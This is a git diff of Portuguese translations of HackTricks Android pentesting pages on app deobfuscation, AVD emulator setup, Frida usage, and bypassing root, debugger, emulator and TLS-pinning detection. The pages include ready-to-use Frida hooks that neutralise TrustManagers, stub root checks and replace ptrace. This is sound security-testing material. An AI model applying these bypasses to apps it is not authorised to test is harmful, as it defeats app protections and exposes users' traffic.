potenciais vulnerabilidades de segurança em Android apps e desofuscar o código de apps Android. Usa a Google's Gemini public API. +Esta é uma ferramenta LLM para encontrar quaisquer potenciais vulnerabilidades de segurança em apps android e deobfuscar código de apps android. Usa a Gemini public API do Google. ### [Simplify](https://github.com/CalebFenton/simplify) -É um **desofuscador android genérico.** Simplify **executa virtualmente um app** para entender seu comportamento e então **tenta otimizar o código** para que ele se comporte de forma idêntica, mas seja mais fácil para um humano entender. Cada tipo de otimização é simples e genérico, então não importa qual tipo específico de ofuscação foi usado. +É um **deobfuscador android genérico.** Simplify **executa virtualmente um app** para entender seu comportamento e então **tenta otimizar o código** para que se comporte de forma idêntica, mas seja mais fácil de entender por um humano. Cada tipo de otimização é simples e genérica, então não importa qual tipo específico de ofuscação foi usado. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD fornece informações sobre **how an APK was made**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. +APKiD te dá informação sobre **como um APK foi feito**. Identifica muitos **compilers**, **packers**, **obfuscators**, e outras coisas estranhas. É o [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android. ### Manual -Leia este tutorial para aprender alguns truques sobre **como reverter ofuscação customizada** {#ref}manual-deobfuscation.md{#endref} +[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -## Laboratórios +## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos frameworks mais recentes, tutoriais e labs de diferentes geeks e pesquisadores de segurança para reverse engineering e análise de malware. +AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate que inclui a coleção dos mais recentes frameworks, tutoriais e labs de diferentes geeks e pesquisadores de segurança para reverse engineering e análise de malware. ## Referências @@ -825,7 +823,7 @@ AndroL4b é uma máquina virtual de segurança Android baseada em ubuntu-mate qu - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) - [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools) -## Ainda por tentar +## Ainda a testar - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index f608d0243..0b2af8943 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -Esta página fornece um fluxo de trabalho prático para retomar análise dinâmica contra apps Android que detectam/blockam instrumentation ou impõem TLS pinning. Foca em triagem rápida, detecções comuns e hooks/táticas prontas para copiar/colar para contorná‑los sem repacking quando possível. +Esta página fornece um fluxo de trabalho prático para recuperar análise dinâmica contra apps Android que detectam/bloqueiam instrumentation por root ou que aplicam TLS pinning. Foca em triagem rápida, detecções comuns e hooks/táticas copiáveis para contorná‑las sem repacking quando possível. ## Detection Surface (what apps check) -- Root checks: su binary, Magisk paths, getprop values, common root packages -- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), varredura de /proc, classpath, loaded libs +- Verificações de root: su binary, Magisk paths, getprop values, common root packages +- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs - Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks - Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present - TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins @@ -18,30 +18,30 @@ Esta página fornece um fluxo de trabalho prático para retomar análise dinâmi - Enable DenyList, add the target package - Reboot and retest -Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks. +Muitos apps apenas procuram por indicadores óbvios (su/Magisk paths/getprop). DenyList frequentemente neutraliza checagens ingênuas. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -Try common drop‑in scripts before deep diving: +Tente scripts drop‑in comuns antes de se aprofundar: - anti-root-bypass.js - anti-frida-detection.js - hide_frida_gum.js -Example: +Exemplo: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Normalmente anulam verificações Java de root/debug, process/service scans e ptrace() nativo. Úteis em apps pouco protegidos; alvos mais hardenizados podem precisar de hooks sob medida. +Estes normalmente anulam verificações Java de root/debug, process/service scans e ptrace() nativo. Úteis em apps pouco protegidos; alvos hardened podem precisar de hooks personalizados. - Codeshare: https://codeshare.frida.re/ -## Automatize com Medusa (Frida framework) +## Automatizar com Medusa (Frida framework) -Medusa fornece mais de 90 módulos prontos para SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, e mais. +Medusa fornece 90+ módulos prontos para SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, e mais. ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,22 +54,22 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -Dica: Medusa é ótimo para ganhos rápidos antes de escrever custom hooks. Você também pode selecionar módulos e combiná-los com seus próprios scripts. +Dica: Medusa é ótimo para resultados rápidos antes de escrever hooks personalizados. Você também pode selecionar módulos individualmente e combiná-los com seus próprios scripts. ## Passo 3 — Contornar detectores em tempo de inicialização anexando-se mais tarde -Muitas detecções só rodam durante process spawn/onCreate(). Spawn‑time injection (-f) ou gadgets são detectados; anexar-se depois que a UI carrega pode passar despercebido. +Muitas detecções só são executadas durante o spawn do processo/onCreate(). Spawn‑time injection (-f) ou gadgets são detectados; anexar-se após o carregamento da UI pode passar despercebido. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Se isso funcionar, mantenha a sessão estável e prossiga para mapear e realizar verificações de stub. +Se isso funcionar, mantenha a sessão estável e prossiga para mapear e verificar stubs. -## Step 4 — Map detection logic via Jadx and busca por strings +## Passo 4 — Mapear a lógica de detecção via Jadx e busca por strings -Static triage keywords in Jadx: +Palavras-chave para triagem estática no Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" Padrões Java típicos: @@ -85,9 +85,9 @@ APIs comuns para revisar/hook: - java.lang.Runtime.exec / ProcessBuilder (probing commands) - android.os.SystemProperties.get (root/emulator heuristics) -## Passo 5 — Substituição em tempo de execução com Frida (Java) +## Etapa 5 — Stub em tempo de execução com Frida (Java) -Substitua verificações personalizadas para retornar valores seguros sem repacking: +Substitua verificações personalizadas para retornar valores seguros sem repacotar: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Triando crashes iniciais? Dump classes pouco antes de morrer para identificar namespaces prováveis de detecção: +Triando falhas iniciais? Dump classes pouco antes de morrer para identificar namespaces de detecção prováveis: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -111,6 +111,7 @@ onComplete: () => console.log('Done') }); }); ``` +``` // Quick root detection stub example (adapt to target package/class names) Java.perform(() => { try { @@ -118,6 +119,7 @@ const RootChecker = Java.use('com.target.security.RootCheck'); RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); +``` Registre e neutralize métodos suspeitos para confirmar o fluxo de execução: ```js @@ -131,7 +133,7 @@ return false; ``` ## Bypass emulator/VM detection (Java stubs) -Heurísticas comuns: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contendo generic/goldfish/ranchu/sdk; artefatos QEMU como /dev/qemu_pipe, /dev/socket/qemud; MAC padrão 02:00:00:00:00:00; NAT 10.0.2.x; ausência de telephony/sensors. +Heurísticas comuns: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contendo generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors. Spoof rápido dos campos Build: ```js @@ -143,11 +145,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -Complete com stubs para verificações de existência de arquivos e identificadores (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) para retornar valores realistas. +Complemente com stubs para checagens de existência de arquivos e identificadores (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) para retornarem valores realistas. ## SSL pinning bypass quick hook (Java) -Neutralizar TrustManagers personalizados e forçar contextos SSL permissivos: +Neutralize TrustManagers personalizados e force contextos SSL permissivos: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -166,12 +168,12 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }); ``` Notas -- Estenda para OkHttp: hook okhttp3.CertificatePinner e HostnameVerifier conforme necessário, ou use um script universal de unpinning do CodeShare. +- Extend for OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier conforme necessário, ou use um script universal de unpinning do CodeShare. - Exemplo de execução: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Passo 6 — Siga a trilha JNI/native quando hooks Java falharem +## Etapa 6 — Siga a trilha JNI/native quando Java hooks falharem -Rastreie pontos de entrada JNI para localizar carregadores nativos e inicialização de detecção: +Rastreie pontos de entrada JNI para localizar native loaders e detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` @@ -182,11 +184,11 @@ nm -D libfoo.so | head objdump -T libfoo.so | grep Java_ strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root' ``` -Interativo/nativo reversing: +Interactive/native reversing: - Ghidra: https://ghidra-sre.org/ - r2frida: https://github.com/nowsecure/r2frida -Exemplo: neutralizar ptrace para derrotar anti‑debug simples em libc: +Exemplo: neutralizar ptrace para contornar anti‑debug simples em libc: ```js const ptrace = Module.findExportByName(null, 'ptrace'); if (ptrace) { @@ -195,29 +197,29 @@ return -1; // pretend failure }, 'int', ['int', 'int', 'pointer', 'pointer'])); } ``` -Veja também: +See also: {{#ref}} reversing-native-libraries.md {{#endref}} -## Etapa 7 — Objection patching (embed gadget / strip basics) +## Passo 7 — Objection patching (embed gadget / strip basics) -Quando você prefere repacking em vez de runtime hooks, experimente: +Se você prefere reempacotar em vez de usar runtime hooks, tente: ```bash objection patchapk --source app.apk ``` Notas: -- Requer apktool; certifique-se de usar uma versão atual a partir do guia oficial para evitar problemas de build: https://apktool.org/docs/install -- Gadget injection permite instrumentation sem root, mas ainda pode ser detectado por verificações mais rígidas em tempo de inicialização. +- Requer apktool; garanta uma versão atual seguindo o guia oficial para evitar problemas de build: https://apktool.org/docs/install +- Gadget injection permite instrumentação sem root, mas ainda pode ser detectado por verificações mais rígidas em tempo de inicialização. -Opcionalmente, adicione módulos LSPosed e Shamiko para ocultação de root mais eficaz em ambientes Zygisk, e ajuste DenyList para cobrir processos filhos. +Opcionalmente, adicione módulos LSPosed e Shamiko para ocultação de root mais robusta em ambientes Zygisk, e gerencie a DenyList para cobrir processos filhos. Referências: - Objection: https://github.com/sensepost/objection -## Passo 8 — Contingência: Corrigir TLS pinning para visibilidade de rede +## Etapa 8 — Alternativa: Patch TLS pinning para visibilidade da rede -Se a instrumentation estiver bloqueada, você ainda pode inspecionar o tráfego removendo o pinning estaticamente: +Se a instrumentação estiver bloqueada, você ainda pode inspecionar o tráfego removendo o pinning estaticamente: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy @@ -251,12 +253,12 @@ objection --gadget com.example.app explore # Static TLS pinning removal apk-mitm app.apk ``` -## Dicas e advertências +## Dicas & ressalvas -- Prefira attaching mais tarde em vez de spawning quando apps travam na inicialização -- Algumas detecções re‑executam em fluxos críticos (e.g., payment, auth) — mantenha hooks ativos durante a navegação -- Combine estático e dinâmico: busca de strings no Jadx para pré-selecionar classes; depois hook methods para verificar em runtime -- Apps hardened podem usar packers e native TLS pinning — espere ter que reverter código nativo +- Prefira attaching mais tarde em vez de spawning quando apps travam ao iniciar +- Algumas detecções re-run em fluxos críticos (e.g., payment, auth) — mantenha os hooks ativos durante a navegação +- Misture static e dynamic: string hunt no Jadx para reduzir a shortlist de classes; depois hook methods para verificar em runtime +- Hardened apps podem usar packers e native TLS pinning — espere ter que reverse native code ## Referências diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 9fd796251..3cd27303d 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -6,19 +6,19 @@ Muito obrigado a [**@offsecjay**](https://twitter.com/offsecjay) pela ajuda na c ## O que é -Android Studio permite **executar máquinas virtuais do Android que você pode usar para testar APKs**. Para usá-las você vai precisar: +Android Studio permite **executar máquinas virtuais do Android que você pode usar para testar APKs**. Para usá-las você precisará: - Os **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Ou **Android Studio** (com Android SDK tools) - [Download here](https://developer.android.com/studio). +- Ou o **Android Studio** (com Android SDK tools) - [Download here](https://developer.android.com/studio). -No Windows (no meu caso) **após instalar o Android Studio** eu tinha as **SDK Tools instaladas em**: `C:\Users\\AppData\Local\Android\Sdk\tools` +No Windows (no meu caso) **após instalar o Android Studio** eu tive os **SDK Tools instalados em**: `C:\Users\\AppData\Local\Android\Sdk\tools` No mac você pode **baixar os SDK tools** e colocá-los no PATH executando: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -Ou a partir da **GUI do Android Studio** como indicado em [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) que irá instalá-los em `~/Library/Android/sdk/cmdline-tools/latest/bin/` and `~/Library/Android/sdk/platform-tools/` and `~/Library/Android/sdk/emulator/` +Ou a partir da **GUI do Android Studio** como indicado em [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) que os instalará em `~/Library/Android/sdk/cmdline-tools/latest/bin/` e `~/Library/Android/sdk/platform-tools/` e `~/Library/Android/sdk/emulator/` Para os problemas com Java: ```java @@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ### Preparar Máquina Virtual -Se você instalou o Android Studio, pode simplesmente abrir a vista principal do projeto e acessar: _**Tools**_ --> _**AVD Manager.**_ +Se você instalou o Android Studio, pode simplesmente abrir a visualização principal do projeto e acessar: _**Tools**_ --> _**AVD Manager.**_
@@ -36,25 +36,25 @@ Se você instalou o Android Studio, pode simplesmente abrir a vista principal do
-Então, clique em _**Create Virtual Device**_ +Em seguida, clique em _**Create Virtual Device**_
-_**selecione** o telefone que deseja usar_ e clique em _**Next.**_ +_selecione o telefone que deseja usar_ e clique em _**Next.**_ > [!WARNING] -> Se você precisa de um telefone com Play Store instalado, selecione um que tenha o ícone do Play Store! +> Se precisar de um telefone com Play Store instalado selecione um que tenha o ícone do Play Store! > > -Na vista atual você poderá **selecionar e baixar a imagem Android** que o telefone irá executar: +Na visualização atual você poderá **selecionar e baixar a imagem do Android** que o telefone vai executar:
-Então, selecione-a e, se não estiver baixada, clique no símbolo _**Download**_ ao lado do nome (**agora espere até que a imagem seja baixada).**\ -Uma vez que a imagem esteja baixada, apenas selecione **`Next`** e **`Finish`**. +Então, selecione-a e, se não estiver baixada, clique no símbolo _**Download**_ ao lado do nome (**agora aguarde até que a image seja baixada).**\ +Uma vez que a image esteja baixada, apenas selecione **`Next`** e **`Finish`**. -A máquina virtual será criada. Agora **toda vez que você acessar o AVD manager ela estará presente**. +A máquina virtual será criada. Agora **toda vez que você acessar o AVD Manager ela estará presente**. ### Executar Máquina Virtual @@ -62,12 +62,12 @@ Para **executá-la** basta pressionar o _**Start button**_. ![](<../../images/image (518).png>) -## Ferramenta de linha de comando +## Ferramenta de Linha de Comando > [!WARNING] > Para macOS você pode encontrar a ferramenta `avdmanager` em `/Users//Library/Android/sdk/tools/bin/avdmanager` e o `emulator` em `/Users//Library/Android/sdk/emulator/emulator` se você os tiver instalados. -Antes de tudo você precisa **decidir qual telefone deseja usar**, para ver a lista de telefones possíveis execute: +Antes de tudo você precisa **decidir qual telefone deseja usar**, para ver a lista de possíveis telefones execute: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -100,11 +100,11 @@ Você pode listar todas as opções usando `sdkmanager`: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -E faça o **download** do(s) que você quer usar com: +E **baixe** o(s) que você quer usar com: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Depois de ter baixado a imagem Android que deseja usar, você pode **listar todas as imagens Android baixadas** com: +Depois de ter baixado a imagem do Android que você quer usar, você pode **listar todas as imagens Android baixadas** com: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,11 +120,11 @@ Type: Platform API level: 29 Revision: 4 ``` -Neste momento você decidiu o dispositivo que quer usar e baixou a imagem do Android, então **você pode criar a máquina virtual usando**: +Neste momento você já decidiu qual dispositivo quer usar e já baixou a imagem Android, então **você pode criar a máquina virtual usando**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -No último comando **criei uma VM chamada** "_AVD9_" usando o **dispositivo** "_Nexus 5X_" e a **imagem Android** "_system-images;android-28;google_apis;x86_64_".\ +No último comando **criei uma VM chamada** "_AVD9_" usando o **dispositivo** "_Nexus 5X_" e a **imagem Android** "_system-images;android-28;google_apis;x86_64_".\ Agora você pode **listar as máquinas virtuais** que criou com: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -140,12 +140,12 @@ Name: Pixel_2_API_27 Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd Error: Google pixel_2 no longer exists as a device ``` -### Run Virtual Machine +### Executar Máquina Virtual > [!WARNING] -> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. +> No macOS você pode encontrar a ferramenta `avdmanager` em `/Users//Library/Android/sdk/tools/bin/avdmanager` e o `emulator` em `/Users//Library/Android/sdk/emulator/emulator` se você os tiver instalados. -Já vimos como você pode listar as máquinas virtuais criadas, mas **você também pode listá-las usando**: +Já vimos como listar as máquinas virtuais criadas, mas **você também pode listá-las usando**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 @@ -162,33 +162,33 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ``` ### Opções de linha de comando -No entanto, existem **muitas opções úteis de linha de comando diferentes** que você pode usar para iniciar uma máquina virtual. Abaixo você pode encontrar algumas opções interessantes mas pode [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +No entanto, existem **muitas opções úteis de linha de comando** que você pode usar para iniciar uma máquina virtual. Abaixo você encontra algumas opções interessantes, mas pode [**encontrar a lista completa aqui**](https://developer.android.com/studio/run/emulator-commandline) **Inicialização** -- `-snapshot name` : Iniciar um snapshot da VM -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Listar todos os snapshots registrados +- `-snapshot name` : Inicia snapshot da VM +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Lista todos os snapshots gravados **Rede** - `-dns-server 192.0.2.0, 192.0.2.255` : Permite indicar, separados por vírgula, os servidores DNS para a VM. - **`-http-proxy 192.168.1.12:8080`** : Permite indicar um proxy HTTP a ser usado (muito útil para capturar o tráfego usando Burp) -- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid". +- Se as configurações de proxy não estiverem funcionando por algum motivo, tente configurá-las internamente ou usando um aplicativo como "Super Proxy" ou "ProxyDroid". - `-netdelay 200` : Define a emulação de latência de rede em milissegundos. -- `-port 5556` : Define o número da porta TCP usada para o console e o adb. -- `-ports 5556,5559` : Define as portas TCP usadas para o console e o adb. +- `-port 5556` : Define o número da porta TCP usado para o console e adb. +- `-ports 5556,5559` : Define as portas TCP usadas para o console e adb. - **`-tcpdump /path/dumpfile.cap`** : Captura todo o tráfego em um arquivo **Sistema** -- `-selinux {disabled|permissive}` : Define o módulo de segurança Security-Enhanced Linux para o modo 'disabled' ou 'permissive' em um sistema operacional Linux. +- `-selinux {disabled|permissive}` : Define o módulo de segurança Security-Enhanced Linux para o modo disabled ou permissive em um sistema operacional Linux. - `-timezone Europe/Paris` : Define o fuso horário para o dispositivo virtual - `-screen {touch(default)|multi-touch|o-touch}` : Define o modo de tela sensível ao toque emulado. -- **`-writable-system`** : Use esta opção para ter uma imagem do sistema gravável durante sua sessão de emulação. Você também precisará executar `adb root; adb remount`. Isso é muito útil para instalar um novo certificado no sistema. +- **`-writable-system`** : Use esta opção para ter uma imagem de sistema gravável durante sua sessão de emulação. Você também precisará executar `adb root; adb remount`. Isto é muito útil para instalar um novo certificado no sistema. ## Configuração da CLI no Linux (SDK/AVD quickstart) -As ferramentas oficiais de CLI facilitam a criação de emuladores rápidos e depuráveis sem o Android Studio. +As ferramentas CLI oficiais facilitam criar emuladores rápidos e depuráveis sem o Android Studio. ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -217,11 +217,11 @@ adb root adb shell whoami # expect: root ``` Notas -- Variedades de imagem do sistema: google_apis (depurável, permite adb root), google_apis_playstore (não permite root), aosp/default (leve). -- Tipos de build: userdebug frequentemente permite `adb root` em imagens com suporte a depuração. As imagens Play Store são builds de produção e bloqueiam o root. -- Em hosts x86_64, a emulação de sistema completo ARM64 não é suportada a partir da API 28+. Para Android 11+ use imagens Google APIs/Play que incluem tradução por aplicativo de ARM para x86 para executar muitos apps apenas ARM rapidamente. +- System image flavors: google_apis (debuggable, permite adb root), google_apis_playstore (not rootable), aosp/default (leve). +- Build types: userdebug frequentemente permite `adb root` em imagens com capacidade de depuração. Play Store images são builds de produção e bloqueiam root. +- Em hosts x86_64, a emulação ARM64 de sistema completo não é suportada a partir da API 28+. Para Android 11+ use imagens Google APIs/Play que incluem tradução por app ARM-to-x86 para executar rapidamente muitos apps apenas para ARM. -### Snapshots pelo CLI +### Snapshots do CLI ```bash # Save a clean snapshot from the running emulator adb -s emulator-5554 emu avd snapshot save my_clean_setup @@ -229,33 +229,33 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARM→x86 binary translation (Android 11+) +## ARM→x86 tradução binária (Android 11+) -Google APIs e Play Store images no Android 11+ podem traduzir binários de apps ARM por processo enquanto mantêm o resto do sistema nativo x86/x86_64. Isso costuma ser rápido o suficiente para testar muitos apps ARM-only no desktop. +Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. Isso costuma ser rápido o suficiente para testar muitos apps apenas para ARM no desktop. -> Dica: Prefira imagens Google APIs x86/x86_64 durante pentests. Imagens Play são convenientes, mas bloqueiam `adb root`; use-as apenas quando você realmente precisar de Play services e aceitar a falta de root. +> Dica: Prefira imagens x86/x86_64 do Google APIs durante pentests. As imagens Play são convenientes, mas bloqueiam `adb root`; use-as somente quando você especificamente precisar de Play services e aceitar a falta de root. -## Rooting a Play Store device +## Rooting de um dispositivo com Play Store -Se você baixou um dispositivo com Play Store, você não vai conseguir obter root diretamente, e você receberá esta mensagem de erro +Se você baixou um dispositivo com Play Store, não conseguirá obter root diretamente, e receberá esta mensagem de erro ``` $ adb root adbd cannot run as root in production builds ``` -Using [rootAVD](https://github.com/newbit1/rootAVD) with [Magisk](https://github.com/topjohnwu/Magisk) consegui fazer root no dispositivo (siga por exemplo [**este vídeo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**este**](https://www.youtube.com/watch?v=qQicUW0svB8)). +Usando [rootAVD](https://github.com/newbit1/rootAVD) com [Magisk](https://github.com/topjohnwu/Magisk) consegui acesso root (siga, por exemplo, [**este vídeo**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) **ou** [**este**](https://www.youtube.com/watch?v=qQicUW0svB8)). -## Install Burp Certificate +## Instalar certificado do Burp -Confira a página a seguir para aprender como instalar um certificado CA personalizado: +Consulte a página a seguir para aprender como instalar um certificado CA personalizado: {{#ref}} install-burp-certificate.md {{#endref}} -## Nice AVD Options +## Opções úteis do AVD -### Take a Snapshot +### Tirar um snapshot Você pode **usar a GUI** para tirar um snapshot da VM a qualquer momento: diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index ff27ccafa..4986e21c0 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,4 +1,4 @@ -# Tutorial de Frida +# Tutorial Frida {{#include ../../../banners/hacktricks-training.md}} @@ -10,8 +10,8 @@ Instale **frida tools**: pip install frida-tools pip install frida ``` -**Faça o download e instale** no Android o **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -Comando de uma linha para reiniciar o adb em modo root, conectar-se a ele, enviar o frida-server, dar permissões de execução e executá-lo em segundo plano: +**Baixe e instale** no Android o **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ +Comando one-liner para reiniciar o adb em modo root, conectar-se a ele, enviar o frida-server, dar permissões de execução e executá-lo em segundo plano: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` @@ -22,10 +22,10 @@ frida-ps -U | grep -i #Get all the package name ``` ## Frida server vs. Gadget (root vs. no-root) -Duas maneiras comuns de instrumentar aplicativos Android com Frida: +Duas maneiras comuns de instrumentar apps Android com Frida: -- Frida server (rooted devices): Envie e execute um daemon nativo que permite anexar-se a qualquer processo. -- Frida Gadget (no root): Empacote Frida como uma biblioteca compartilhada dentro do APK e carregue-a automaticamente no processo alvo. +- Frida server (rooted devices): Enviar e executar um daemon nativo que permite anexar a qualquer processo. +- Frida Gadget (no root): Incluir Frida como uma biblioteca compartilhada dentro do APK e carregá-la automaticamente no processo alvo. Frida server (rooted) ```bash @@ -43,8 +43,8 @@ frida -U -n com.example.app Frida Gadget (no-root) 1) Descompacte o APK, adicione o .so do gadget e a configuração: -- Coloque libfrida-gadget.so em lib// (por exemplo: lib/arm64-v8a/) -- Crie assets/frida-gadget.config com as configurações de carregamento dos seus scripts +- Coloque libfrida-gadget.so em lib// (e.g., lib/arm64-v8a/) +- Crie assets/frida-gadget.config com as configurações de carregamento do seu script Exemplo frida-gadget.config ```json @@ -53,8 +53,8 @@ Exemplo frida-gadget.config "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) Referencie/carregue o gadget para que ele seja inicializado cedo: -- Mais fácil: Adicione um pequeno Java stub que chame System.loadLibrary("frida-gadget") em Application.onCreate(), ou use o carregamento de lib nativa já presente. +2) Referencie/carregue o gadget para que seja inicializado cedo: +- Mais fácil: Adicione um pequeno stub Java para System.loadLibrary("frida-gadget") em Application.onCreate(), ou use o carregamento nativo de libs já presente. 3) Reempacote e assine o APK, então instale: ```bash @@ -70,29 +70,29 @@ frida-ps -Uai frida -U -n com.example.app ``` Notas -- Gadget é detectado por algumas proteções; mantenha nomes/caminhos discretos e carregue tardiamente/condicionalmente se necessário. -- Em aplicativos reforçados, prefira testes em dispositivos com root com server + late attach, ou combine com ocultação Magisk/Zygisk. +- Gadget é detectado por algumas proteções; mantenha nomes/paths discretos e carregue tarde/condicionalmente se necessário. +- Em apps protegidos, prefira testes em dispositivos rooted com server + late attach, ou combine com Magisk/Zygisk hiding. -## Tutorials +## Tutoriais ### [Tutorial 1](frida-tutorial-1.md) -**Fonte**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**Origem**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**Código-fonte**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Código fonte**: 